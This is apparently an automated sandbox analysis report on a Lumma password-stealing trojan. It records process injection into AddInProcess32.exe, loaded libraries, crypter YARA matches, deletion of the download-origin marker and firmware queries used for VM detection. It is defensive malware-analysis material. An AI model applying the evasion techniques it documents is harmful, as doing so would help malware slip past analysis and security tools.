Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0042BE10	4_2_0042BE10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00442EB0	4_2_00442EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00406F60	4_2_00406F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00428F00	4_2_00428F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00408DA0	4_2_00408DA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00426F82	4_2_00426F82
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00434F80	4_2_00434F80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00441F80	4_2_00441F80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00409F9C	4_2_00409F9C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00404FA0	4_2_00404FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00409FA8	4_2_00409FA8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 0041C2A0 appears 176 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 0040C8C0 appears 71 times

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe, 00000000.00000002.2792993477.0000000003ED6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTokenTableApp.dll> vs SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe, 00000000.00000002.2784455449.00000000006EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe, 00000000.00000002.2797210374.00000000055E0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTokenTableApp.dll> vs SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe, 00000000.00000002.2800232967.00000000078C0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameRP8SH.dll6 vs SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe, 00000000.00000000.2038701237.00000000013E0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameTableTextCompare.exeB vs SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Binary or memory string: OriginalFilenameTableTextCompare.exeB vs SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe, m8.cs

Cryptographic APIs: 'CreateDecryptor', 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@5/2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 4_2_00432088 CoCreateInstance,

4_2_00432088

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Mutant created: NULL

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

ReversingLabs: Detection: 36%

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Static file information: File size 9639936 > 1048576

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Static PE information: section name: RT_CURSOR
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Static PE information: section name: RT_BITMAP
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Static PE information: section name: RT_ICON
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Static PE information: section name: RT_MENU
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Static PE information: section name: RT_DIALOG
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Static PE information: section name: RT_STRING
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Static PE information: section name: RT_ACCELERATOR
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Static PE information: section name: RT_GROUP_ICON

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x92d800

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected DarkTortilla Crypter

Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe.55e0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe.55e0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe.3f21590.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe.3f21590.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2797210374.00000000055E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2792993477.0000000003ED6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2785718218.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe PID: 2200, type: MEMORYSTR

.NET source code contains method to dynamically call methods (often used by packers)

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe, So8.cs

.Net Code: NewLateBinding.LateCall(NewLateBinding.LateIndexGet(z1J, new object[1] { 0 }, (string[])null), (Type)null, "Invoke", new object[2]{null,new object[0]}, (string[])null, (Type[])null, (bool[])null, true)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_05363359 push esp; retf	0_2_0536335A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_05367F50 pushad ; ret	0_2_05367F51
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_060C2228 push esp; iretd	0_2_060C2229
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_077BB707 push ecx; retf EFCDh	0_2_077BB872
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_077BC85D push 0000005Dh; ret	0_2_077BC8A2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_0785A1B4 pushad ; retf	0_2_0785A20D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_07857FF9 push ecx; retf 0046h	0_2_0785801A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_0785C357 push eax; iretd	0_2_0785C366
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_080108C1 push ecx; ret	0_2_080108C4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_08017583 push edi; ret	0_2_0801777E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_0801B59D push 0000003Bh; ret	0_2_0801B59F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_0801B5BF push 0000003Bh; ret	0_2_0801B5CD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_08019E2D push ds; retf 0040h	0_2_08019E7E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Code function: 0_2_0801778C push eax; ret	0_2_080177BD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0044AEB8 push ecx; ret	4_2_0044AEB9

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe, Xp38Kq.cs	High entropy of concatenated method names: 'm9A', 'Re5', 'Qj6', 'Et0m3F', 'c6H1Ty', 'Ra71Ei', 'p2N9Co', 'Sp10Bi', 'Po85Fw', 'y6FHo3'
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe, So8.cs	High entropy of concatenated method names: 'x7C', 'Ae9', 'm6P', 't9M', 'Fp9', 'Xs5', 'r7M', 'Qs8', 'Sb8', 'e3C'

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

File opened: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe\:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe PID: 2200, type: MEMORYSTR

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

System information queried: FirmwareTableInformation

Jump to behavior

